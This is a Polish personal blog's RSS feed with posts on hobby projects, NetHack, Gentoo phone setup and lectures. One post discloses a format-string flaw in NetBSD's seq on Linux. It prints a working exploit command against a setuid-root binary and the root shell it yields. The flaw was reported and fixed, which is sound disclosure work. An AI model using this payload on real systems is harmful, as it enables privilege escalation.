<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>chomzee's WebLog</title>
	<link>http://chomzee.ethernet.pl/weblog</link>
	<description></description>
	<pubDate>Tue, 13 Jul 2010 21:56:47 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3</generator>
	<language>en</language>
			<item>
		<title>Wakacje</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=52</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=52#comments</comments>
		<pubDate>Tue, 13 Jul 2010 21:56:47 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Gry]]></category>

		<category><![CDATA[Ogólne]]></category>

		<category><![CDATA[Projekty]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=52</guid>
		<description><![CDATA[Na te wakacje (do końca września) zaplanowane mam dokończenie następujących projektów:

Greedy Car Thieves &#8212; gra akcji inspirowana grami GTA/GTA2. Wkrótce podam więcej informacji, również na tym blogu.
Net-Crush &#8212; menedżersko-sieciowo-futurystyczno-sportowa gra. Tutaj bramki są cztery, a piłka ma nóżki.
Praktyki &#8212; z racji studiów na WPPT na PWr muszę odbyć co najmniej miesięczne praktyki. Póki co idzie [...]]]></description>
			<content:encoded><![CDATA[<p>Na te wakacje (do końca września) zaplanowane mam <b>dokończenie</b> następujących projektów:</p>
<ul>
<li><b>Greedy Car Thieves</b> &#8212; gra akcji inspirowana grami GTA/GTA2. Wkrótce podam więcej informacji, również na tym blogu.</li>
<li><b>Net-Crush</b> &#8212; menedżersko-sieciowo-futurystyczno-sportowa gra. Tutaj bramki są cztery, a piłka ma nóżki.</li>
<li><b>Praktyki</b> &#8212; z racji studiów na WPPT na PWr muszę odbyć co najmniej miesięczne praktyki. Póki co idzie nieźle, poznaję przy okazji technologię JSP (na co dzień nie korzystam z Javy, ale nie taki diabeł straszny).</li>
<li><b>Praca inżynierska</b> &#8212; wypadałoby już zacząć pisać.</li>
</ul>
<p>Czasu na wypoczynek pozostaje niewiele. Mimo to, cieszę się, że mam tyle ciekawych zajęć i nie dopadnie mnie nuda.</p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=52</wfw:commentRss>
		</item>
		<item>
		<title>Farvel chomzee the Demigoddess&#8230;</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=51</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=51#comments</comments>
		<pubDate>Sat, 03 Jul 2010 10:49:47 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Gry]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=51</guid>
		<description><![CDATA[Po ponad 2 latach znów przeszedłem grę w NetHacku: http://chomzee.ethernet.pl/nethack/chomzee_ascension6.txt
A teraz zabieram się w końcu za coś pożytecznego, w między czasie odpoczywając w łóżku (choroba).
]]></description>
			<content:encoded><![CDATA[<p><img alt="nh" src="http://chomzee.ethernet.pl/weblog/min/nh.png" align="left"/>Po ponad 2 latach znów przeszedłem grę w NetHacku: <a href="http://chomzee.ethernet.pl/nethack/chomzee_ascension6.txt">http://chomzee.ethernet.pl/nethack/chomzee_ascension6.txt</a></p>
<p>A teraz zabieram się w końcu za coś pożytecznego, w między czasie odpoczywając w łóżku (choroba).</p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=51</wfw:commentRss>
		</item>
		<item>
		<title>Format String Attack w programie seq projektu NetBSD</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=49</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=49#comments</comments>
		<pubDate>Tue, 25 May 2010 19:43:36 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Bezpieczeństwo]]></category>

		<category><![CDATA[Wolne Oprogramowanie]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=49</guid>
		<description><![CDATA[Zupełnie przypadkiem zauważyłem, że program seq z projektu NetBSD skompilowany i uruchamiany pod Linuksem wykazuje dziwne właściwości (podatności na atak związany z ciągami formatującymi):

chomzee@aleurwal:~/vulns$ ./seq -f %..%n 1 1
Segmentation fault
Po ustawieniu właściciela na root oraz bitu suid postanowiłem spróbować wykorzystać tę lukę do wykonania dowolnego kodu. Udało się:

chomzee@aleurwal:~/vulns$ ls -l seq
-rwsr-sr-x 1 root root 12349 [...]]]></description>
			<content:encoded><![CDATA[<p>Zupełnie przypadkiem zauważyłem, że program seq z projektu NetBSD skompilowany i uruchamiany pod Linuksem wykazuje dziwne właściwości (podatności na atak związany z ciągami formatującymi):</p>
<pre>
chomzee@aleurwal:~/vulns$ ./seq -f %..%n 1 1
Segmentation fault</pre>
<p>Po ustawieniu właściciela na root oraz bitu suid postanowiłem spróbować wykorzystać tę lukę do wykonania dowolnego kodu. Udało się:</p>
<pre>
chomzee@aleurwal:~/vulns$ ls -l seq
-rwsr-sr-x 1 root root 12349 2010-05-25 16:39 seq
chomzee@aleurwal:~/vulns$ ./seq -f  `printf "\xbc\xef\xff\xb
f"`____`printf "\xbd\xef\xff\xbf"`____`printf "\xbe\xef\xff\
xbf"`____`printf "\xbf\xef\xff\xbf"`xxxx`perl -e 'print "%..
%08x"x145'`%..%0193x%..%08n%..%060x%..%08n%..%0254x%..%08n%.
.%0184x%..%08n `perl -e 'print "0"x993'`1 1
ďż˝ďż˝ďż˝ďż˝____ďż˝ďż˝ďż˝ďż˝____ďż˝ďż˝ďż˝ďż˝____ďż˝ďż˝ďż˝ďż˝
xxxx%.0.00000000%.0.3ff00000%.0.bfffefa4%.0.00000000%.0.b7ff
9208%.0.b7ffeff4%.0.bfffeff0%.0.b7fff668%.0.080484ca%.0.b7ff
eff4%.0.00000000%.0.00000000%.0.b7ff8a08%.0.00000002%.0.0000
0066%.0.bfffefc0%.0.00000000%.0.00000000%.0.bff00000%.0.0000
0000%.0.00000066%.0.00000000%.0.00000000%.0.00000000%.0.3ff0
0000%.0.00000000%.0.3ff00000%.0.00000000%.0.bff00000%.0.bfff
ef98%.0.b7fb1b60%.0.bffff15c%.0.08049532%.0.00000000%.0.3004
9499%.0.b7ff2250%.0.bfffefc0%.0.bffff018%.0.b7e70455%.0.0804
9480%.0.080487e0%.0.bffff018%.0.b7e70455%.0.00000002%.0.bfff
f050%.0.bffff05c%.0.b7fe2e08%.0.00000001%.0.00000001%.0.0000
0000%.0.080484ca%.0.b7fb0ff4%.0.08049480%.0.080487e0%.0.bfff
f018%.0.ebdf8081%.0.da083491%.0.00000000%.0.00000000%.0.0000
0000%.0.b7ff72e0%.0.b7e7037d%.0.b7ffeff4%.0.00000005%.0.0804
87e0%.0.00000000%.0.08048801%.0.08048894%.0.00000005%.0.bfff
f044%.0.08049480%.0.08049470%.0.b7ff2250%.0.bffff03c%.0.b7ff
cae5%.0.00000005%.0.bffff153%.0.bffff159%.0.bffff15c%.0.bfff
f5b3%.0.bffff996%.0.00000000%.0.bffff998%.0.bffff9ab%.0.bfff
f9d5%.0.bffff9e5%.0.bffff9f0%.0.bffffa02%.0.bffffa0f%.0.bfff
fe38%.0.bffffe65%.0.bffffe98%.0.bffffec5%.0.bffffedc%.0.bfff
fef4%.0.bfffff05%.0.bfffff1c%.0.bfffff2f%.0.bfffff37%.0.bfff
ff47%.0.bfffffa9%.0.bfffffb6%.0.bfffffc9%.0.bfffffee%.0.0000
0000%.0.00000020%.0.b7fe3414%.0.00000021%.0.b7fe3000%.0.0000
0010%.0.078bf3ff%.0.00000006%.0.00001000%.0.00000011%.0.0000
0064%.0.00000003%.0.08048034%.0.00000004%.0.00000020%.0.0000
0005%.0.00000007%.0.00000007%.0.b7fe4000%.0.00000008%.0.0000
0000%.0.00000009%.0.080487e0%.0.0000000b%.0.000003e8%.0.0000
000c%.0.00000000%.0.0000000d%.0.000003e8%.0.0000000e%.0.0000
0000%.0.00000017%.0.00000001%.0.0000000f%.0.bffff14b%.0.0000
0000%.0.00000000%.0.69000000%.0.00363836%.0.2e000000%.0.7165
732f%.0.0000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000.
0.%f5f5f5f50000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000.0.%.0.%f5f5f5f50000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000.0.%.0.%f5f5f5f5000000000000000
0000000000000000000000000000000000000.0.%.0.%00d266000000000
000000000000000000000000000000000000000000000000000000000000
0000000
bash-3.2# whoami
root
bash-3.2#</pre>
<p>Luka przeze mnie odkryta na szczęście nie występuje w NetBSD, gdyż tam inaczej zaimplementowana jest funkcja printf. Zagrożenie występuje tylko w systemach linuksowych, które używają programu seq z projektu NetBSD. Jako, że w Linuksie powszechna jest wersja programu seq z projektu GNU, wątpię, czy istnieje na świecie maszyna, dla której ta luka mogłaby być zagrożeniem.</p>
<p>Jednak mimo wszystko, taka luka nie powinna się pojawić w tak poważnym projekcie &#8212; oprogramowanie powinno być przenośne, prawda? Wysłałem już &#8220;bug report&#8221;, czekam na reakcję ze strony deweloperów NetBSD.</p>
<p><b>Edycja:</b></p>
<p>Błąd już został poprawiony &#8212; reakcja deweloperów była błyskawiczna. Może dlatego, że niesłusznie zakwalifikowałem błąd do działu &#8220;security&#8221;. A może dlatego, że cała filozofia ruchu Open Source jest genialna. :)</p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=49</wfw:commentRss>
		</item>
		<item>
		<title>I ain&#8217;t dead yet</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=48</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=48#comments</comments>
		<pubDate>Thu, 01 Apr 2010 14:39:15 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Ogólne]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=48</guid>
		<description><![CDATA[W tym poście chciałem jedynie usprawiedliwić się z braku wpisów w ostatnim czasie. Otóż pracuję intensywnie nad dwoma dość dużymi, ciekawymi projektami, które wkrótce ujrzą światło dzienne &#8212; wtedy dopiero będzie czym się pochwalić. :)
Ponadto, zbieram się od dłuższego czasu na przeniesienie wszystkich swoich projektów na jeden wspólny serwer svn. Ale są ważniejsze rzeczy do [...]]]></description>
			<content:encoded><![CDATA[<p>W tym poście chciałem jedynie usprawiedliwić się z braku wpisów w ostatnim czasie. Otóż pracuję intensywnie nad dwoma dość dużymi, ciekawymi projektami, które wkrótce ujrzą światło dzienne &#8212; wtedy dopiero będzie czym się pochwalić. :)</p>
<p>Ponadto, zbieram się od dłuższego czasu na przeniesienie wszystkich swoich projektów na jeden wspólny serwer svn. Ale są ważniejsze rzeczy do roboty póki co, niż porządki.</p>
<p>Proszę więc o cierpliwość i nie usuwanie mojego bloga z czytników RSS. :) Wesołych Świąt.</p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=48</wfw:commentRss>
		</item>
		<item>
		<title>Szyfrowanie z GnuPG</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=47</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=47#comments</comments>
		<pubDate>Sun, 03 Jan 2010 22:05:53 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Wolne Oprogramowanie]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=47</guid>
		<description><![CDATA[Serdecznie zapraszam na wykład, który będę miał przyjemność poprowadzić:

Jest to wykład z cyklu Open Academy.
EDIT:
Wykład się odbył, slajdy których użyłem można pobrać stąd.
]]></description>
			<content:encoded><![CDATA[<p>Serdecznie zapraszam na wykład, który będę miał przyjemność poprowadzić:</p>
<p><img src="http://chomzee.ethernet.pl/weblog/min/poster_gpg_small.png" alt="plakat" /></p>
<p>Jest to wykład z cyklu <a href="http://openacademy.pl/">Open Academy</a>.</p>
<p><b>EDIT:</b></p>
<p>Wykład się odbył, slajdy których użyłem <a href="http://chomzee.ethernet.pl/prelekcje/gnupg_szyfrowanie.pdf">można pobrać stąd</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=47</wfw:commentRss>
		</item>
		<item>
		<title>Wąchaj i wstrzykuj &#8212; niskopoziomowe programowanie sieciowe w Linuksie</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=46</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=46#comments</comments>
		<pubDate>Sat, 07 Nov 2009 21:44:46 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Bezpieczeństwo]]></category>

		<category><![CDATA[Wolne Oprogramowanie]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=46</guid>
		<description><![CDATA[Od dzisiaj można ten artykuł przeczytać online:
http://chomzee.ethernet.pl/wiw.pdf
]]></description>
			<content:encoded><![CDATA[<p>Od dzisiaj można ten artykuł przeczytać online:</p>
<p><a href="http://chomzee.ethernet.pl/wiw.pdf">http://chomzee.ethernet.pl/wiw.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=46</wfw:commentRss>
		</item>
		<item>
		<title>Ściąganie muzyki z wrzuty, odsłona druga :)</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=45</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=45#comments</comments>
		<pubDate>Thu, 18 Jun 2009 13:31:19 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Wolne Oprogramowanie]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=45</guid>
		<description><![CDATA[Poprawiłem skrypt wrzutaget, uwzględniając zmiany wprowadzone całkiem niedawno temu przez administratorów serwisu wrzuta.pl. Można dzięki niemu ściągać pliki w formacie mp3 z owego portalu.
Stworzyłem również stronę wrzutagetcgi, dzięki której można wykonywać tę czynność prosto z przeglądarki WWW, niezależnie od systemu operacyjnego.
Mam nadzieję, że moje narzędzia okażą się komuś pomocne.
]]></description>
			<content:encoded><![CDATA[<p>Poprawiłem skrypt <a href="http://chomzee.ethernet.pl/wrzutaget/">wrzutaget</a>, uwzględniając zmiany wprowadzone całkiem niedawno temu przez administratorów serwisu <a href="http://www.wrzuta.pl/">wrzuta.pl</a>. Można dzięki niemu ściągać pliki w formacie mp3 z owego portalu.</p>
<p>Stworzyłem również stronę <a href="http://chomzee.ethernet.pl/wrzutagetcgi/">wrzutagetcgi</a>, dzięki której można wykonywać tę czynność prosto z przeglądarki WWW, niezależnie od systemu operacyjnego.</p>
<p>Mam nadzieję, że moje narzędzia okażą się komuś pomocne.</p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=45</wfw:commentRss>
		</item>
		<item>
		<title>Sony Ericsson K750i + GNU/Linux (Gentoo)</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=44</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=44#comments</comments>
		<pubDate>Sat, 16 May 2009 12:11:04 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Wolne Oprogramowanie]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=44</guid>
		<description><![CDATA[Przygotowanie Gentoo do współpracy z SE K750i nie jest trudne, jednak szukanie informacji na ten temat w sieci może być czasochłonne, postaram się więc umieścić parę porad dotyczących wymiany plików, udostępniania internetu przez GPRS, odbierania i wysyłania SMS oraz zdalnego sterowania.
Poniższa konfiguracja dotyczy SE K750i, Gentoo Linux i operatora sieci komórkowej Orange. Jednak prawdopodobnie konfiguracja [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://chomzee.ethernet.pl/weblog/min/sek750i.png" alt="phone" align="left" />Przygotowanie Gentoo do współpracy z SE K750i nie jest trudne, jednak szukanie informacji na ten temat w sieci może być czasochłonne, postaram się więc umieścić parę porad dotyczących wymiany plików, udostępniania internetu przez GPRS, odbierania i wysyłania SMS oraz zdalnego sterowania.</p>
<p>Poniższa konfiguracja dotyczy SE K750i, Gentoo Linux i operatora sieci komórkowej Orange. Jednak prawdopodobnie konfiguracja podobnego modelu telefonu w innej sieci komórkowej i innej dystrybucji Linuksa będzie różniła się o mały epsilon.</p>
<p><b>Wymiana plików przez kabel USB</b></p>
<p>Po podłączeniu telefonu do komputera przez kabel USB, jądro Linuksa automatycznie rozpoznaje urządzenie, które można podmontować w taki sam sposób, jak byśmy podłączali do komputera pendrive. Uzyskujemy w ten sposób dostęp do systemu plików podłączonej karty pamięci. Niestety, nie udało mi się znaleźć informacji, jak w podobny sposób podmontować pamięć telefonu.</p>
<p><b>Udostępnianie internetu przez GPRS</b></p>
<p>Po podłączeniu kabla USB powinien zostać utworzony plik <i>/dev/ttyACM0</i>. Jeśli taki plik nie istnieje, należy wkompilować do jądra Linuksa obsługę ACM (CONFIG_USB_ACM).</p>
<p>Przyda nam się pakiet ppp, jeśli go nie mamy, instalujemy go oczywiście poleceniem:</p>
<pre># emerge ppp</pre>
<p>Następnie tworzymy dowiązanie <i>net.ppp0</i> w katalogu <i>/etc/init.d</i>:</p>
<pre># cd /etc/init.d
# ln -s net.lo net.ppp0</pre>
<p>Edytujemy plik <i>/etc/conf.d/net</i>, dopisując coś na kształt:</p>
<pre>config_ppp0=( "ppp" )
link_ppp0="/dev/ttyACM0"
pppd_ppp0=(
'connect "/usr/sbin/chat -v -f /etc/chatscripts/orange-gprs"'
'disconnect "/usr/sbin/chat -v -f /etc/chatscripts/orange-gprs-off"'
'/dev/ttyACM0'
'115200'
'crtscts'
'local'
'noipdefault'
'usepeerdns'
'defaultroute'
'default-asyncmap'
'noccp'
'novj'
'nobsdcomp'
'novjccomp'
'persist'
'noauth'
)</pre>
<p>Następnie tworzymy plik <i>/etc/chatscripts/orange-gprs</i> zawierający następującą treść:</p>
<pre>TIMEOUT 10
ECHO ON
ABORT "NO CARRIER"
ABORT "NO DIALTONE"
ABORT "ERROR"
ABORT "NO ANSWER"
ABORT "BUSY"
'' 'rATZ'
OK AT+CGDCONT=1,"IP","internet"
OK ATD*99#
CONNECT ``</pre>
<p>Oraz plik <i>/etc/chatscripts/orange-gprs-off</i>:</p>
<pre>ABORT "NO CARRIER"
ABORT "NO DIALTONE"
ABORT "ERROR"
ABORT "NO ANSWER"
ABORT "BUSY"
"" "K"
"" "+++ATH"</pre>
<p>Potrzebujemy jeszcze nazwę użytkownika i hasło umieścić w pliku <i>/etc/ppp/chap-secrets</i>:</p>
<pre>"internet" * "internet"</pre>
<p>Pozostaje nam tylko uruchomić skrypt, by uzyskać połączenie:</p>
<pre># /etc/init.d/net.ppp0 start</pre>
<p>Przy okazji warto na bieżąco śledzić systemowe logi, by sprawdzić, czy wszystko toczy się po naszej myśli. Połączenie przerywamy oczywiście komendą:</p>
<pre># /etc/init.d/net.ppp0 stop</pre>
<p><b>Dostęp do książki adresowej i wiadomości SMS</b></p>
<p>Do synchronizacji adresów i SMSów możemy użyć graficznego programu kmobiletools, który jest banalnie prosty w obsłudze. Należy się jedynie upewnić, że konfigurując urządzenie podaliśmy odpowiednią ścieżkę do urządzenia (<i>/dev/ttyACM0</i>).</p>
<pre># emerge kmobiletools</pre>
<p><b>Bluetooth</b></p>
<p>Do połączenia komputera z telefonem przez Bluetooth użyłem adaptera D-Link DBT-122. Należy się upewnić, że w jądrze Linuksa mamy wkompilowane wszystko co jest konieczne (do obsługi wspomnianego adaptera używam modułu btusb). Należy również przygotować Gentoo do obsługi standardu Bluetooth. Dodajemy flagi &#8220;bluetooth&#8221; i &#8220;old-daemons&#8221; do USE i instalujemy następujące pakiety:</p>
<pre># emerge bluez-libs bluez-utils bluez-firmware obexftp</pre>
<p>Po włożeniu adaptera do slotu USB automatycznie powinien uruchomić się skrypt <i>/etc/init.d/bluetooth</i>. Aby uzyskać adres sprzętowy telefonu, należy (oczywiście przy BT włączonym w telefonie) wykonać skanowanie poleceniem:</p>
<pre># hcitool scan</pre>
<p>Mając ten adres możemy użyć na przykład programu <a href="http://sourceforge.net/projects/obexftpfrontend/">obexftp-frontend</a> do bezprzewodowej wymiany plików, który jest de facto nakładką graficzną programu obexftp napisaną w Javie.</p>
<p>Aby zestawić połączenie przez GPRS za pomocą BT zamiast kabla USB, należy nawiązać połączenie. Upewniamy się, że w <i>/etc/conf.d/bluetooth</i> widnieją następujące opcje:</p>
<pre>RFCOMM_ENABLE=false
RFCOMM_CONFIG="/etc/bluetooth/rfcomm.conf"
HCID_ENABLE=true</pre>
<p>Po czym do pliku konfiguracyjnego <i>/etc/bluetooth/rfcomm.conf</i> dopisujemy:</p>
<pre>rfcomm0 {
        bind yes;
        device 00:XX:XX:XX:XX:XX; # adres sprzetowy telefonu
        channel 1;
}</pre>
<p>Teraz poleceniem <i>`rfcomm -S connect 0`</i> nawiązujemy połączenie z telefonem. Jednak po co robić to ręcznie, trzymajmy się filozofii Gentoo. Tworzymy więc plik <i>/etc/init.d/phone</i>:</p>
<pre>#!/sbin/runscript
depend() {
        need bluetooth
}

start() {
        ebegin "Starting phone"
        start-stop-daemon --start --quiet -b -n rfcomm \
                --startas /usr/bin/rfcomm -- -S connect 0
        eend $?
}

stop() {
        ebegin "Shutting down phone"
        start-stop-daemon --stop --quiet -b -n rfcomm
        eend $?
}</pre>
<p>Jeśli wszystko pójdzie po naszej myśli, po wydaniu polecenia <i>`/etc/init.d/phone start`</i> zostanie utworzony plik <i>/etc/rfcomm0</i>. Teraz możemy odwoływać się do niego identycznie jak do <i>/etc/ttyACM0</i>. Zamieniamy więc wszystkie ttyACM0 na rfcomm0 w pliku <i>/etc/conf.d/net</i>.</p>
<p>Zdalne sterowanie przez Bluetooth odbywa się po wydaniu polecenia (wprowadzając poprawny adres sprzętowy telefonu):</p>
<pre># hidd --connect 00:??:??:??:??:??</pre>
<p>Dostęp do książki adresowej i SMS odbywa się analogicznie jak w przypadku połączenia przez kabel, należy jedynie w oknie konfiguracyjnym kmobiletools zmienić adres urządzenia z <i>/dev/ttyACM0</i> na <i>/dev/rfcomm0</i>.</p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=44</wfw:commentRss>
		</item>
		<item>
		<title>Ogólnopolski Tureniej Tańca Towarzyskiego Leszno 2009</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=43</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=43#comments</comments>
		<pubDate>Sun, 22 Mar 2009 22:01:47 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Taniec]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=43</guid>
		<description><![CDATA[
Serdecznie zapraszam na &#8220;12 Ogólnopolski Tureniej Tańca Towarzyskiego Leszno 2009&#8243;, który odbędzie się w hali Trapez 29 marca 2009 roku. Organizatorem turnieju jest oczywiście klub taneczny, w którym stawiałem swoje pierwsze kroki na parkiecie (aMOK Leszno). Turniej podzielony jest na trzy bloki, które zaczynają się kolejno o 10:00, 13:00 i 17:30.
Więcej informacji można znaleźć na [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://chomzee.ethernet.pl/weblog/min/dance.png" alt="dance" align="left" /><br />
Serdecznie zapraszam na &#8220;12 Ogólnopolski Tureniej Tańca Towarzyskiego Leszno 2009&#8243;, który odbędzie się w hali Trapez 29 marca 2009 roku. Organizatorem turnieju jest oczywiście klub taneczny, w którym stawiałem swoje pierwsze kroki na parkiecie (aMOK Leszno). Turniej podzielony jest na trzy bloki, które zaczynają się kolejno o 10:00, 13:00 i 17:30.</p>
<p>Więcej informacji można znaleźć <a href="http://taniec.pl/download/72">na ulotce dostępnej w serwisie taniec.pl</a>.</p>
<p>Tak więc do zobaczenia na turnieju! :)</p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=43</wfw:commentRss>
		</item>
		<item>
		<title>Sieci bezprzewodowe &#8212; prezentacja</title>
		<link>http://chomzee.ethernet.pl/weblog/?p=42</link>
		<comments>http://chomzee.ethernet.pl/weblog/?p=42#comments</comments>
		<pubDate>Thu, 19 Mar 2009 16:38:21 +0000</pubDate>
		<dc:creator>chomzee</dc:creator>
		
		<category><![CDATA[Bezpieczeństwo]]></category>

		<category><![CDATA[Szkoła]]></category>

		<category><![CDATA[Wolne Oprogramowanie]]></category>

		<guid isPermaLink="false">http://chomzee.ethernet.pl/weblog/?p=42</guid>
		<description><![CDATA[Z okazji laboratorio-seminarium z kursu o przyjemnej nazwie &#8220;Anatomia PC&#8221;, zmuszony byłem wygłosić prezentację. Była to dla mnie oczywiście sama przyjemność, zwłaszcza, że mówiłem o sieciach bezprzewodowych. Z uwagi na charakter kursu, starałem się podejść do tematu jak najbardziej sprzętowo, nie uniknąłem jednak niezwykle ważnej i ciekawej kwestii jaką jest bezpieczeństwo sieci bezprzewodowych.
Slajdy z mojej [...]]]></description>
			<content:encoded><![CDATA[<p>Z okazji laboratorio-seminarium z kursu o przyjemnej nazwie &#8220;Anatomia PC&#8221;, zmuszony byłem wygłosić prezentację. Była to dla mnie oczywiście sama przyjemność, zwłaszcza, że mówiłem o sieciach bezprzewodowych. Z uwagi na charakter kursu, starałem się podejść do tematu jak najbardziej sprzętowo, nie uniknąłem jednak niezwykle ważnej i ciekawej kwestii jaką jest bezpieczeństwo sieci bezprzewodowych.</p>
<p>Slajdy z mojej prezentacji można oczywiście swobodnie ściągnąć z sieci:</p>
<p><a href="http://chomzee.ethernet.pl/studia/anatomia_pc/sieci_bezprzewodowe.pdf">http://chomzee.ethernet.pl/studia/anatomia_pc/sieci_bezprzewodowe.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://chomzee.ethernet.pl/weblog/?feed=rss2&amp;p=42</wfw:commentRss>
		</item>
	</channel>
</rss>
